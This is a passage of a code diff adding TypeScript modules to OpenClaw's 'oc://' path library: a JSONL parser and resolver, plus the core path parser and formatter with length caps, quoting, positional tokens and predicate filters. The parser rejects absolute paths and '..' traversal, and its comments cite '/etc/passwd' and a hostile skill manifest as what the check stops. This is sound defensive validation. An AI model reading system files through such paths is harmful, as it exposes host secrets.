diagnostics: readonly Diagnostic[]; +} + +export function parseJsonl(raw: string): JsonlParseResult { + const diagnostics: Diagnostic[] = []; + // Detect the line-ending convention from the input. Windows-authored + // datasets use CRLF; Unix and most cross-platform tooling use LF. We + // count CRLF occurrences and call CRLF if the majority of newlines + // are CRLF — this handles mixed-ending files (e.g., a Unix log + // edited once on Windows) by picking the dominant convention. + // Without this, `setJsonlOcPath` rebuilds a CRLF input via render + // mode which joins with `\n`, producing mixed endings on a + // previously-CRLF file. + const crlfCount = (raw.match(/\r\n/g) ?? []).length; + const lfCount = (raw.match(/\n/g) ?? []).length; + const lineEnding: '\r\n' | '\n' = + crlfCount > 0 && crlfCount * 2 >= lfCount ? '\r\n' : '\n'; + + // Trim trailing newline so we don't fabricate a blank line at EOF + // for files that end with `\n` (which is most of them). + let body = raw.endsWith('\r\n') ? raw.slice(0, -2) : raw.endsWith('\n') ? raw.slice(0, -1) : raw; + // Normalize line endings to LF for consistent splitting; per-line + // `raw` is stored without the trailing `\r`, and render mode + // restores the original convention via `lineEnding`. + body = body.replace(/\r\n/g, '\n'); + const lines: JsonlLine[] = []; + + if (body.length === 0) { + return { ast: { kind: 'jsonl', raw, lines, lineEnding }, diagnostics }; + } + + const parts = body.split('\n'); + parts.forEach((lineText, idx) => { + const lineNo = idx + 1; + if (lineText.trim().length === 0) { + lines.push({ kind: 'blank', line: lineNo, raw: lineText }); + return; + } + const r = parseJsonc(lineText); + if (r.ast.root === null) { + lines.push({ kind: 'malformed', line: lineNo, raw: lineText }); + diagnostics.push({ + line: lineNo, + message: `line ${lineNo} could not be parsed as JSON`, + severity: 'warning', + code: 'OC_JSONL_LINE_MALFORMED', + }); + return; + } + lines.push({ + kind: 'value', + line: lineNo, + value: r.ast.root, + raw: lineText, + }); + }); + + return { ast: { kind: 'jsonl', raw, lines, lineEnding }, diagnostics }; +} diff --git a/src/oc-path/jsonl/resolve.ts b/src/oc-path/jsonl/resolve.ts new file mode 100644 index 00000000000..6a2c45c387c --- /dev/null +++ b/src/oc-path/jsonl/resolve.ts @@ -0,0 +1,157 @@ +/** + * Resolve an `OcPath` against a `JsonlAst`. + * + * Convention for JSONL OcPaths: + * + * oc://session-events/L42 → entire line 42 value + * oc://session-events/L42/result → field on line 42's value + * oc://session-events/L42/result.detail → dotted descent + * oc://session-events/$last → final non-blank value + * + * `Lnnn` (line address) and `$last` are the addressing primitives + * unique to JSONL — they're how forensics / replay refers to a + * specific entry without committing to a content key. + * + * @module @openclaw/oc-path/jsonl/resolve + */ + +import type { OcPath } from '../oc-path.js'; +import { + POS_FIRST, + POS_LAST, + isPositionalSeg, + isQuotedSeg, + resolvePositionalSeg, + splitRespectingBrackets, + unquoteSeg, +} from '../oc-path.js'; +import type { JsoncEntry, JsoncValue } from '../jsonc/ast.js'; +import type { JsonlAst, JsonlLine } from './ast.js'; + +export type JsonlOcPathMatch = + | { readonly kind: 'root'; readonly node: JsonlAst } + | { readonly kind: 'line'; readonly node: JsonlLine } + | { + readonly kind: 'value'; + readonly node: JsoncValue; + readonly line: number; + readonly path: readonly string[]; + } + | { + readonly kind: 'object-entry'; + readonly node: JsoncEntry; + readonly line: number; + readonly path: readonly string[]; + }; + +export function resolveJsonlOcPath( + ast: JsonlAst, + path: OcPath, +): JsonlOcPathMatch | null { + // The first non-file segment is the line address (Lnnn or $last). + const head = path.section; + if (head === undefined) {return { kind: 'root', node: ast };} + + const lineEntry = pickLine(ast, head); + if (lineEntry === null) {return null;} + + // No further descent — return the line entry itself. + if (path.item === undefined && path.field === undefined) { + return { kind: 'line', node: lineEntry }; + } + + if (lineEntry.kind !== 'value') {return null;} + + const segments: string[] = []; + if (path.item !== undefined) { + for (const s of splitRespectingBrackets(path.item, '.')) { + segments.push(isQuotedSeg(s) ? unquoteSeg(s) : s); + } + } + if (path.field !== undefined) { + for (const s of splitRespectingBrackets(path.field, '.')) { + segments.push(isQuotedSeg(s) ? unquoteSeg(s) : s); + } + } + + let current: JsoncValue = lineEntry.value; + let lastEntry: JsoncEntry | null = null; + const walked: string[] = []; + + for (let seg of segments) { + if (seg.length === 0) {return null;} + // See openclaw#59934 — positional `-N` falls through on keyed containers. + if (isPositionalSeg(seg)) { + const concrete = positionalForJsonc(current, seg); + if (concrete !== null) {seg = concrete;} + } + walked.push(seg); + if (current.kind === 'object') { + const entry = current.entries.find((e) => e.key === seg); + if (entry === undefined) {return null;} + lastEntry = entry; + current = entry.value; + continue; + } + if (current.kind === 'array') { + const idx = Number(seg); + if (!Number.isInteger(idx) || idx < 0 || idx >= current.items.length) {return null;} + lastEntry = null; + const item = current.items[idx]; + if (item === undefined) {return null;} + current = item; + continue; + } + return null; + } + + if (lastEntry !== null && current === lastEntry.value) { + return { + kind: 'object-entry', + node: lastEntry, + line: lineEntry.line, + path: walked, + }; + } + return { kind: 'value', node: current, line: lineEntry.line, path: walked }; +} + +function pickLine(ast: JsonlAst, addr: string): JsonlLine | null { + if (addr === POS_LAST) { + for (let i = ast.lines.length - 1; i >= 0; i--) { + const l = ast.lines[i]; + if (l !== undefined && l.kind === 'value') {return l;} + } + return null; + } + if (addr === POS_FIRST) { + for (const l of ast.lines) { + if (l.kind === 'value') {return l;} + } + return null; + } + // Negative line address: `-N` selects the Nth-from-last value line. + if (/^-\d+$/.test(addr)) { + const valueLines = ast.lines.filter((l): l is Extract => l.kind === 'value'); + const n = valueLines.length + Number(addr); + return n >= 0 && n < valueLines.length ? valueLines[n] : null; + } + const m = /^L(\d+)$/.exec(addr); + if (m === null || m[1] === undefined) {return null;} + const target = Number(m[1]); + for (const l of ast.lines) { + if (l.line === target) {return l;} + } + return null; +} + +function positionalForJsonc(node: JsoncValue, seg: string): string | null { + if (node.kind === 'object') { + const keys = node.entries.map((e) => e.key); + return resolvePositionalSeg(seg, { indexable: false, size: keys.length, keys }); + } + if (node.kind === 'array') { + return resolvePositionalSeg(seg, { indexable: true, size: node.items.length }); + } + return null; +} diff --git a/src/oc-path/oc-path.ts b/src/oc-path/oc-path.ts new file mode 100644 index 00000000000..e4c318cd759 --- /dev/null +++ b/src/oc-path/oc-path.ts @@ -0,0 +1,1114 @@ +/** + * `oc://` path syntax — universal addressing for the OpenClaw workspace. + * + * Canonical form: + * + * oc://{file}[/{section}[/{item}[/{field}]]][?session={id}] + * + * Used in PatchError messages, audit events, governance warnings, lint + * findings, doctor fixers, API error responses, SSE events, and editor + * deep-links. No ad-hoc string paths anywhere — every path through the + * serve layer flows through `parseOcPath` / `formatOcPath`. + * + * **Round-trip contract**: `formatOcPath(parseOcPath(s)) === s` for every + * valid `s` produced by `formatOcPath`. + * + * @module @openclaw/oc-path/oc-path + */ + +import { OcEmitSentinelError, REDACTED_SENTINEL } from './sentinel.js'; + +const OC_SCHEME = 'oc://'; + +/** + * Hard caps to prevent pathological input from exhausting resources. + * + * `MAX_PATH_LENGTH` — input string length. 4 KiB is enough for any + * realistic addressing use (deep nested workflows max out around 200 + * bytes). Anything larger is either user error or hostile input. + * + * `MAX_SUB_SEGMENTS_PER_SLOT` — dotted sub-segment count inside a + * single slot. Real workspace addressing maxes around 10 levels. + * + * `MAX_TRAVERSAL_DEPTH` — used by find walkers to bound `**` + * recursion. Real ASTs don't nest beyond ~50; 256 is a safe ceiling. + */ +export const MAX_PATH_LENGTH = 4096; +export const MAX_SUB_SEGMENTS_PER_SLOT = 64; +export const MAX_TRAVERSAL_DEPTH = 256; + +/** UTF-8 BOM. Stripped from path strings before scheme check. */ +const BOM = ''; + +/** + * True if the string contains any C0 control char (U+0000 — U+001F) + * or DEL (U+007F). Walks by char code so we never embed literal + * control bytes in source — the equivalent regex would put NUL/DEL + * into this file, which lint and binary-detection tools flag. + */ +function hasControlChar(s: string): boolean { + for (let i = 0; i < s.length; i++) { + const cc = s.charCodeAt(i); + if (cc <= 0x1f || cc === 0x7f) { + return true; + } + } + return false; +} + +/** Reserved characters that can't appear unencoded in path segments. */ +const RESERVED_CHARS_RE = /[?&%]/; + +/** + * Render a string for inclusion in error messages — replaces control + * chars with `\xNN` escapes so error output is readable even when the + * offending input contains invisible characters. + */ +function printable(s: string): string { + // Walk the string explicitly rather than using a control-char regex + // — the no-control-regex lint rule rejects character classes that + // contain bytes in U+0000–U+001F + U+007F, but that's exactly the + // range we WANT to escape so error messages stay readable when + // input contains invisible bytes. Manual loop sidesteps the rule. + let out = ''; + for (let i = 0; i < s.length; i++) { + const cc = s.charCodeAt(i); + if (cc <= 0x1f || cc === 0x7f) { + out += `\\x${cc.toString(16).padStart(2, '0')}`; + } else { + out += s[i]; + } + } + return out; +} + +/** + * Parsed `oc://` path. Components nest strictly: `item` implies + * `section`, `field` implies `item`. Structural violations are rejected + * by `formatOcPath`. + * + * Per the upstream pre-RFC, `field` addresses either a frontmatter key + * (when used directly under a file with no section) OR the value of a + * key/value bullet (`- key: value`) inside an item. The substrate + * resolver dispatches based on what the path resolves to. + */ +export interface OcPath { + /** Target file or virtual root (e.g. `SOUL.md`, `skills/email-drafter`). Always present. */ + readonly file: string; + /** Optional H2 section within the file (e.g. `Boundaries`). */ + readonly section?: string; + /** Optional item within a section (e.g. `deny-rule-1`). Requires `section`. */ + readonly item?: string; + /** Optional field on an item or frontmatter (e.g. `risk`). Requires `item` for item-fields. */ + readonly field?: string; + /** Optional session scope (e.g. `cron:daily`). Orthogonal to nesting. */ + readonly session?: string; +} + +/** + * Error thrown when an `oc://` path cannot be parsed or formatted. + * + * `code` is a stable, machine-readable tag; downstream consumers + * (PatchError, audit events, error handlers) match on `code`, not on + * `message`. + */ +export class OcPathError extends Error { + readonly code: string; + readonly input: string; + + constructor(message: string, input: string, code: string) { + super(message); + this.name = 'OcPathError'; + this.input = input; + this.code = code; + } +} + +/** + * Parse an `oc://` path string into a structured `OcPath`. + * + * Accepts the full syntax: file, optional section/item/field, optional + * `?session=` query parameter. Unknown query parameters are silently + * ignored. + * + * Throws `OcPathError` for missing scheme, empty file, or empty path + * segments. + */ +export function parseOcPath(input: string): OcPath { + if (typeof input !== 'string') { + throw new OcPathError('oc:// path must be a string', String(input), 'OC_PATH_NOT_STRING'); + } + + // P-032 — hard cap on input length. Pathological inputs are rejected + // before any further string ops so quadratic scans can't be triggered. + // The pre-normalize check fails fast on absurd input (a 10 MB string + // shouldn't even reach .normalize); the post-normalize check below + // catches the corner case where NFC composition grows the string + // past the cap (a few decomposed Hangul or combining-mark sequences + // can exceed pre-normalize length). + if (input.length > MAX_PATH_LENGTH) { + throw new OcPathError( + `oc:// path exceeds ${MAX_PATH_LENGTH} bytes (length: ${input.length})`, + input.slice(0, 80) + '…', + 'OC_PATH_TOO_LONG', + ); + } + + // P-001 — strip a leading UTF-8 BOM if present. The BOM is invisible + // and confuses scheme detection; rejecting silently would surface as + // a misleading "missing scheme" error. + let normalized = input.startsWith(BOM) ? input.slice(BOM.length) : input; + + // P-002 — normalize to NFC. Different filesystems produce different + // forms (macOS HFS+ historically NFD; web / Unix / Windows NFC). NFC + // is the canonical form for cross-platform string equality. + normalized = normalized.normalize('NFC'); + + // Re-check the cap after NFC. NFC can grow a string (some Hangul + // and combining-mark sequences); without this re-check the + // documented invariant — "downstream loops iterate at most + // MAX_PATH_LENGTH chars" — doesn't hold. + if (normalized.length > MAX_PATH_LENGTH) { + throw new OcPathError( + `oc:// path exceeds ${MAX_PATH_LENGTH} bytes after NFC (length: ${normalized.length})`, + input.slice(0, 80) + '…', + 'OC_PATH_TOO_LONG', + ); + } + + if (!normalized.startsWith(OC_SCHEME)) { + throw new OcPathError(`Missing oc:// scheme: ${printable(input)}`, input, 'OC_PATH_MISSING_SCHEME'); + } + + const afterScheme = normalized.slice(OC_SCHEME.length); + // Find the query separator at the TOP level (outside brackets, + // braces, and quotes). Plain `indexOf('?')` would treat a quoted + // key like `"foo?bar"` as a query boundary, breaking advertised + // quoted-segment support — closes the parser-quoted-query gap. + const queryIndex = indexOfTopLevel(afterScheme, '?'); + const pathPart = queryIndex === -1 ? afterScheme : afterScheme.slice(0, queryIndex); + const queryPart = queryIndex === -1 ? '' : afterScheme.slice(queryIndex + 1); + + if (pathPart.length === 0) { + throw new OcPathError(`Empty oc:// path: ${printable(input)}`, input, 'OC_PATH_EMPTY'); + } + + const segments = splitRespectingBrackets(pathPart, '/', input); + for (const seg of segments) { + if (seg.length === 0) { + throw new OcPathError(`Empty segment in oc:// path: ${printable(input)}`, input, 'OC_PATH_EMPTY_SEGMENT'); + } + } + + if (segments.length > 4) { + throw new OcPathError( + `Too many segments in oc:// path (max 4): ${printable(input)}`, + input, + 'OC_PATH_TOO_DEEP', + ); + } + + // Validate every segment: bracket/brace shape, dotted sub-segments, + // P-003 whitespace, P-004 control chars, P-026 reserved chars. + for (const seg of segments) { + validateBrackets(seg, input); + const subs = splitRespectingBrackets(seg, '.', input); + if (subs.length > MAX_SUB_SEGMENTS_PER_SLOT) { + throw new OcPathError( + `Sub-segment count exceeds ${MAX_SUB_SEGMENTS_PER_SLOT} in segment "${seg}": ${printable(input)}`, + input, + 'OC_PATH_TOO_DEEP', + ); + } + for (const sub of subs) { + validateSubSegment(sub, input); + } + } + + const session = extractSession(queryPart); + + // Unquote the file slot so `path.file` always carries the bare + // filesystem path. `splitRespectingBrackets` keeps a quoted file + // segment intact (`"skills/email-drafter"`) so the `/` inside it + // isn't treated as a slot separator; here we strip the surrounding + // quotes so consumers (CLI's `resolveFsPath`, find / resolve walkers) + // see `skills/email-drafter` rather than `"skills/email-drafter"`. + // Without this, the round-trip emits `oc://"skills/email-drafter"` + // and the CLI tries to `fs.readFile` a literally-quoted filename. + const fileSeg = segments[0]; + const file = isQuotedSeg(fileSeg) ? unquoteSeg(fileSeg) : fileSeg; + + // Containment — `oc://` paths address files **relative to the workspace + // root**. Absolute paths and parent-directory escapes (`..`) would let a + // hostile workflow / skill manifest persuade `openclaw path resolve|set + // |emit` into reading or writing arbitrary filesystem locations. Reject + // both before the path leaks into `resolveFsPath` (which would resolve + // an absolute slot away from `cwd` per Node `path.resolve` semantics). + // Quoted-segment unquoting (above) means `oc://".."/x` and + // `oc://"../foo"/x` are caught by the same check. + if (file.startsWith('/') || file.startsWith('\\') || /^[a-zA-Z]:/.test(file)) { + throw new OcPathError( + `Absolute file slot not allowed (oc:// paths are workspace-relative): ${printable(input)}`, + input, + 'OC_PATH_ABSOLUTE_FILE', + ); + } + if (file.split(/[\\/]/).some((seg) => seg === '..')) { + throw new OcPathError( + `Parent-directory segment ('..') not allowed in oc:// file slot: ${printable(input)}`, + input, + 'OC_PATH_PARENT_TRAVERSAL', + ); + } + + const result: OcPath = { + file, + ...(segments[1] !== undefined ? { section: segments[1] } : {}), + ...(segments[2] !== undefined ? { item: segments[2] } : {}), + ...(segments[3] !== undefined ? { field: segments[3] } : {}), + ...(session !== undefined ? { session } : {}), + }; + + return result; +} + +/** + * Format an `OcPath` struct back into its canonical string form. + * + * Throws `OcPathError` if the struct violates structural nesting + * (item without section, field without item). + */ +export function formatOcPath(path: OcPath): string { + if (!path.file || path.file.length === 0) { + throw new OcPathError('oc:// path requires a file', '', 'OC_PATH_FILE_REQUIRED'); + } + // Symmetric defense with parseOcPath — an `OcPath` struct constructed + // programmatically with `file: '..'` or `file: '/etc/passwd'` would + // otherwise emit a path that either round-trips into a traversal or + // is rejected at parse time, breaking the contract on line 13. Refuse + // here so the caller sees the violation at the format boundary. + if (path.file.startsWith('/') || path.file.startsWith('\\') || /^[a-zA-Z]:/.test(path.file)) { + throw new OcPathError( + `Absolute file slot not allowed in OcPath struct: ${printable(path.file)}`, + path.file, + 'OC_PATH_ABSOLUTE_FILE', + ); + } + if (path.file.split(/[\\/]/).some((seg) => seg === '..')) { + throw new OcPathError( + `Parent-directory segment ('..') not allowed in OcPath.file: ${printable(path.file)}`, + path.file, + 'OC_PATH_PARENT_TRAVERSAL', + ); + } + if (hasControlChar(path.file)) { + throw new OcPathError( + `Control character in OcPath.file: ${printable(path.file)}`, + path.file, + 'OC_PATH_CONTROL_CHAR', + ); + } + if (path.item !== undefined && path.section === undefined) { + throw new OcPathError( + 'Structural nesting violation: item requires section', + path.file, + 'OC_PATH_NESTING', + ); + } + if (path.field !== undefined && path.item === undefined && path.section !== undefined) { + // section + field without item is allowed for frontmatter-shaped addressing? No — + // frontmatter is `oc://FILE/[frontmatter]/key`. For now require item-or-no-section + // with field. Reconsider when frontmatter addressing lands. + throw new OcPathError( + 'Structural nesting violation: field requires item when section is present', + path.file, + 'OC_PATH_NESTING', + ); + } + if (path.field !== undefined && path.item === undefined && path.section === undefined) { + // `{ file, field }` with no section / item would emit `oc://FILE/FIELD` + // and silently re-parse as `{ file, section: FIELD }`. The struct + // already violates the slot grammar (field implies item) — refuse + // here so programmatic callers don't ship a path that round-trips + // to a different shape than they wrote. + throw new OcPathError( + 'Structural nesting violation: field requires item', + path.file, + 'OC_PATH_NESTING', + ); + } + + // Each slot is a dotted sub-segment string. Round-trip requires that + // raw sub-segments containing the path grammar's special characters + // get quoted before concatenation, OR pass through if already in a + // structural form (quoted `"..."`, predicate `[...]`, union `{...}`, + // literal sentinel `[frontmatter]` etc.). Plain concatenation would + // silently turn a raw `foo/bar` slot into two segments at parse + // time. Closes the formatter quoted-segment gap. + const formatSubSegment = (sub: string): string => { + if (isQuotedSeg(sub)) {return sub;} // already quoted + if (sub.startsWith('[') && sub.endsWith(']')) {return sub;} // predicate / sentinel + if (sub.startsWith('{') && sub.endsWith('}')) {return sub;} // union + return quoteSeg(sub); + }; + // Reject content the parser would refuse on the way back in. Without + // these guards a struct like `{section:'foo.'}` would emit + // `oc://X/foo.""` (an empty quoted sub-segment) and re-parse with + // `section: 'foo.""'` — silent round-trip mangling. Mirrors + // validateSubSegment's empty + control-char checks at the format + // boundary so callers see the violation here, not on the next parse. + const validateSubForFormat = (sub: string, slotName: string): void => { + if (sub.length === 0) { + throw new OcPathError( + `Empty dotted sub-segment in OcPath.${slotName}`, + path.file, + 'OC_PATH_EMPTY_SUB_SEGMENT', + ); + } + if (hasControlChar(sub)) { + throw new OcPathError( + `Control character in OcPath.${slotName} sub-segment "${printable(sub)}"`, + path.file, + 'OC_PATH_CONTROL_CHAR', + ); + } + }; + const formatSlot = (slot: string, slotName: string): string => { + const subs = splitRespectingBrackets(slot, '.'); + for (const sub of subs) {validateSubForFormat(sub, slotName);} + return subs.map(formatSubSegment).join('.'); + }; + + // The file slot uses simpler quoting than section/item/field: dots + // are normal in filenames (`AGENTS.md`) and don't need quoting; we + // only quote when the file contains chars that would otherwise be + // parsed as structure — primarily `/` which is the segment separator. + // `quoteSeg` already wraps + escapes when needed; we narrow the + // trigger so plain `AGENTS.md` round-trips bare. + const fileNeedsQuote = /[/[\]{}?&%"\s]/.test(path.file); + const formattedFile = fileNeedsQuote ? quoteSeg(path.file) : path.file; + let out = OC_SCHEME + formattedFile; + if (path.section !== undefined) {out += '/' + formatSlot(path.section, 'section');} + if (path.item !== undefined) {out += '/' + formatSlot(path.item, 'item');} + if (path.field !== undefined) {out += '/' + formatSlot(path.field, 'field');} + if (path.session !== undefined) {out += '?session=' + path.session;} + // Symmetric upper bound with parseOcPath's MAX_PATH_LENGTH cap. Without + // this, a struct whose formatted form exceeds the cap would emit a + // string `parseOcPath` immediately rejects — silently breaking the + // round-trip contract and surprising every consumer that buffers / + // logs / column-aligns by the cap (audit events, error messages, + // editor breadcrumbs). + if (out.length > MAX_PATH_LENGTH) { + throw new OcPathError( + `Formatted oc:// exceeds ${MAX_PATH_LENGTH} bytes (length: ${out.length})`, + out.slice(0, 80) + '…', + 'OC_PATH_TOO_LONG', + ); + } + // Sentinel guard at the path-string emit boundary. The substrate's + // contract: emit boundaries refuse to write the redaction sentinel, + // and `formatOcPath` IS such a boundary — path strings flow into + // telemetry, audit events, error messages, find result `path` fields. + // Without this guard, a struct field carrying the literal + // `__OPENCLAW_REDACTED__` slips past every consumer except the CLI + // (which has its own scrubSentinel layer). + if (out.includes(REDACTED_SENTINEL)) { + throw new OcEmitSentinelError(out); + } + return out; +} + +/** + * Type guard — true iff `input` is a non-empty string that `parseOcPath` + * would accept. Does not throw; callers can branch on this before + * parsing. + */ +export function isValidOcPath(input: unknown): input is string { + if (typeof input !== 'string') {return false;} + try { + parseOcPath(input); + return true; + } catch { + return false; + } +} + +/** + * Positional tokens — single-match primitives that resolve to one + * concrete index/key based on container size at resolve time. Unlike + * `*` / `**`, these do NOT trigger the wildcard guard on + * `resolveOcPath` / `setOcPath`: they always pick exactly one element. + * + * `$first` — index 0 (seq/array) or first-declared key (map/object) + * `$last` — last index, or last-declared key + * `-N` — Nth from the end (seq/array only); `-1` = last, `-2` = penultimate + * + * Out-of-range tokens (`$first` on an empty container, `-99` on a + * 3-item array) yield `null` from resolve and an empty match list + * from find. + * + * `$last` was the original jsonl-only sentinel for line addressing + * (`oc://X/$last/event`); it's now generalized to every kind. + */ +export const POS_FIRST = '$first'; +export const POS_LAST = '$last'; + +/** True iff `seg` is a positional token that resolves at lookup time. */ +export function isPositionalSeg(seg: string): boolean { + return seg === POS_FIRST || seg === POS_LAST || /^-\d+$/.test(seg); +} + +/** + * Ordinal addressing — `#N` (zero-based) targets the Nth item by + * document order, regardless of how the kind ordinarily addresses + * children. + * + * For seq/array kinds where children are already addressed by integer + * index, `#N` is a synonym for `N`. Where it earns its keep is in + * **slug-addressed kinds** (md items, where two items can share a + * slug like `- foo: a` / `- foo: b`): `#0` and `#1` distinguish them + * by document order even when slug-addressing collapses. + */ +export function isOrdinalSeg(seg: string): boolean { + return /^#\d+$/.test(seg); +} + +export function parseOrdinalSeg(seg: string): number | null { + const m = /^#(\d+)$/.exec(seg); + return m === null || m[1] === undefined ? null : Number(m[1]); +} + +/** + * Container shape passed to `resolvePositionalSeg`. Indexable + * containers (seq, array) provide `size`. Keyed containers (map, + * object) provide the ordered `keys` list — `$first` picks the first, + * `$last` the last; negative indices are NOT valid on keyed + * containers (use the literal key instead). + */ +export interface PositionalContainer { + readonly indexable: boolean; + readonly size: number; + readonly keys?: readonly string[]; +} + +/** + * Resolve a positional token (`$first` / `$last` / `-N`) against a + * container's shape, returning the concrete segment (numeric index or + * literal key) or `null` if the token can't apply. + */ +export function resolvePositionalSeg( + seg: string, + container: PositionalContainer, +): string | null { + if (seg === POS_FIRST) { + if (container.size === 0) {return null;} + if (!container.indexable) {return container.keys?.[0] ?? null;} + return '0'; + } + if (seg === POS_LAST) { + if (container.size === 0) {return null;} + if (!container.indexable) {return container.keys?.[container.keys.length - 1] ?? null;} + return String(container.size - 1); + } + if (/^-\d+$/.test(seg)) { + if (!container.indexable) {return null;} + // P-040 — guard against integer-overflow in the magnitude. A + // 13-digit-or-longer string parses to a Number that exceeds 1e9 + // (well below MAX_SAFE_INTEGER but already absurd as an array + // index). Reject before doing the addition so the caller sees a + // clean null rather than a coerced-to-zero surprise. + const raw = Number(seg); + if (!Number.isInteger(raw) || Math.abs(raw) > 1e9) {return null;} + const n = container.size + raw; + return n >= 0 && n < container.size ? String(n) : null; + } + return null; +} + +/** + * Wildcard tokens permitted in `findOcPaths` patterns. + * + * `*` matches a single sub-segment (e.g. one map key or one array index). + * `**` matches zero or more sub-segments at any depth (recursive descent). + * + * Wildcards are **not** allowed in `resolveOcPath` / `setOcPath` — those + * verbs require an exact concrete path. `findOcPaths` is the only verb + * that consumes patterns. Use `hasWildcard` to enforce this at the + * boundary. + */ +export const WILDCARD_SINGLE = '*'; +export const WILDCARD_RECURSIVE = '**'; + +/** + * `true` iff any sub-segment of the path is a multi-match pattern — + * `*`, `**`, a union `{a,b,c}`, or a value predicate `[key=value]`. + * Single-match verbs (`resolveOcPath` / `setOcPath`) reject these + * uniformly; only `findOcPaths` consumes them. + * + * **Naming**: `isPattern` is the v1 name; `hasWildcard` is retained + * as a back-compat alias since the literal "wildcard" framing was + * what shipped first. Prefer `isPattern` in new code. + */ +export function isPattern(path: OcPath): boolean { + for (const slot of [path.section, path.item, path.field]) { + if (slot === undefined) {continue;} + // Quote-aware split — `slot.split('.')` would shred quoted keys + // containing literal `*` (e.g. `"items.*.glob"`) and falsely + // detect them as wildcards, causing single-match verbs to reject + // a concrete path. + for (const sub of splitRespectingBrackets(slot, '.')) { + if (sub === WILDCARD_SINGLE || sub === WILDCARD_RECURSIVE) {return true;} + if (isUnionSeg(sub)) {return true;} + if (isPredicateSeg(sub)) {return true;} + } + } + return false; +} + +/** @deprecated v1 — use {@link isPattern}. Behaviorally identical. */ +export const hasWildcard = isPattern; + +/** + * Union segment — `{a,b,c}` matches each comma-separated alternative. + * + * oc://X/steps/* /{command,run} → each step's command OR run + * oc://X/{steps,inputs}/* /id → id under steps OR inputs + * + * Whitespace inside braces is preserved. Empty alternatives reject. + * Nested braces are not supported in v0. + */ +export function isUnionSeg(seg: string): boolean { + return seg.length >= 2 && seg.startsWith('{') && seg.endsWith('}'); +} + +export function parseUnionSeg(seg: string): readonly string[] | null { + if (!isUnionSeg(seg)) {return null;} + const inner = seg.slice(1, -1); + if (inner.length === 0) {return null;} + const alts = inner.split(','); + if (alts.some((a) => a.length === 0)) {return null;} + return alts; +} + +/** + * Value predicate segment — `[keyvalue]` filters a parent + * enumeration by sibling-field comparison. Used in find patterns: + * + * oc://X/steps/[id=build] → step whose `id` equals `build` + * oc://X/steps/[id!=test]/command → command of every non-test step + * oc://X/steps/[command*=npm]/id → id of every step whose command contains `npm` + * oc://X/steps/[command^=npm run]/id → id of every step whose command starts with `npm run` + * oc://X/steps/[id$=_test]/command → command of every step whose id ends with `_test` + * oc://X/models/[contextWindow>=1000000] → models with 1M+ context window + * oc://X/models/[maxTokens>128000]/id → id of every model with maxTokens > 128000 + * + * Operators: + * + * String (CSS attribute-selector style): + * `=` equality (string-coerced) + * `!=` inequality + * `*=` substring contains + * `^=` starts-with + * `$=` ends-with + * + * Numeric (v1.1 — addresses openclaw#54383, openclaw#76532): + * `<` less than + * `<=` less than or equal + * `>` greater than + * `>=` greater than or equal + * + * Numeric ops require both `actual` and `value` to coerce to finite + * numbers via `Number()`. Non-numeric leaves never match a numeric + * predicate (consistent with how `*=` doesn't apply to numbers). + * + * Operator search is greedy on multi-char operators — `[a!=b]` is + * `key=a, op=!=, value=b`, not `key=a!, op==, value=b`. Multi-char + * operators (`!=`, `<=`, `>=`, `*=`, `^=`, `$=`) are tried before + * single-char (`=`, `<`, `>`). + */ +export type PredicateOp = '=' | '!=' | '*=' | '^=' | '$=' | '<' | '<=' | '>' | '>='; + +/** Multi-char first so greedy match wins (`<=` before `<`, etc.). */ +const PREDICATE_OPS: readonly PredicateOp[] = ['!=', '*=', '^=', '$=', '<=', '>=', '<', '>', '=']; + +export function isPredicateSeg(seg: string): boolean { + if (seg.length < 4 || !seg.startsWith('[') || !seg.endsWith(']')) {return false;} + const inner = new Set(seg.slice(1, -1)); + return PREDICATE_OPS.some((op) => inner.has(op)); +} + +export interface PredicateSpec { + readonly key: string; + readonly op: PredicateOp; + readonly value: string; +} + +export function parsePredicateSeg(seg: string): PredicateSpec | null { + if (seg.length < 4 || !seg.startsWith('[') || !seg.endsWith(']')) {return null;} + const inner = seg.slice(1, -1); + // Leftmost operator wins, with multi-char tried before single-char + // at each position. So `[a==b]` parses as `key=a, op==, value==b` + // (leftmost `=`), and `[a<=b]` parses as `key=a, op=<=, value=b` + // (multi-char `<=` beats single `<` at the same position). + for (let i = 1; i < inner.length; i++) { + for (const op of PREDICATE_OPS) { + if (!inner.startsWith(op, i)) {continue;} + if (i + op.length >= inner.length) {continue;} // empty value + return { + key: inner.slice(0, i), + op, + value: inner.slice(i + op.length), + }; + } + } + return null; +} + +/** + * Evaluate a predicate against a string-coerced leaf value. The + * walker fetches the sibling's value and passes it to this helper. + * Returns `false` for non-leaf children (predicate can't compare an + * object/array sibling, so it never matches). + * + * For numeric operators (`<` / `<=` / `>` / `>=`), both `actual` and + * `pred.value` are coerced via `Number()` and checked with + * `Number.isFinite`. Non-numeric leaves never match — this is + * symmetric with how `*=` / `^=` / `$=` don't apply to numbers + * (a number's "string form" comparison would be confusing). + */ +export function evaluatePredicate(actual: string | null, pred: PredicateSpec): boolean { + if (actual === null) {return false;} + switch (pred.op) { + case '=': + return actual === pred.value; + case '!=': + return actual !== pred.value; + case '*=': + return actual.includes(pred.value); + case '^=': + return actual.startsWith(pred.value); + case '$=': + return actual.endsWith(pred.value); + case '<': + case '<=': + case '>': + case '>=': { + const a = Number(actual); + const b = Number(pred.value); + if (!Number.isFinite(a) || !Number.isFinite(b)) {return false;} + switch (pred.op) { + case '<': return a < b; + case '<=': return a <= b; + case '>': return a > b; + case '>=': return a >= b; + } + return false; + } + } + return false; +} + +/** + * Flatten the path into the concrete sub-segment list the per-kind + * resolvers walk against (`[...section.split('.'), ...item.split('.'), + * ...field.split('.')]`). Returned alongside the slot offsets so a + * caller can reconstruct an `OcPath` from a concrete walk by re-packing + * sub-segments back into the original slots. + */ +export interface PathSegmentLayout { + readonly subs: readonly string[]; + /** Number of sub-segments in `section` (0 if absent). */ + readonly sectionLen: number; + /** Number of sub-segments in `item` (0 if absent). */ + readonly itemLen: number; + /** Number of sub-segments in `field` (0 if absent). */ + readonly fieldLen: number; +} + +export function getPathLayout(path: OcPath): PathSegmentLayout { + // Quote-aware split — `slot.split('.')` would shred a quoted segment + // containing a literal `.` (e.g. `"a.b"`) into two sub-segments and + // break the find-walker / repackPath layout contract. Mirror the + // splitter used by `parseOcPath` so downstream walkers see the same + // sub-segment shape on both directions. + const sectionSubs = path.section === undefined ? [] : splitRespectingBrackets(path.section, '.'); + const itemSubs = path.item === undefined ? [] : splitRespectingBrackets(path.item, '.'); + const fieldSubs = path.field === undefined ? [] : splitRespectingBrackets(path.field, '.'); + return { + subs: [...sectionSubs, ...itemSubs, 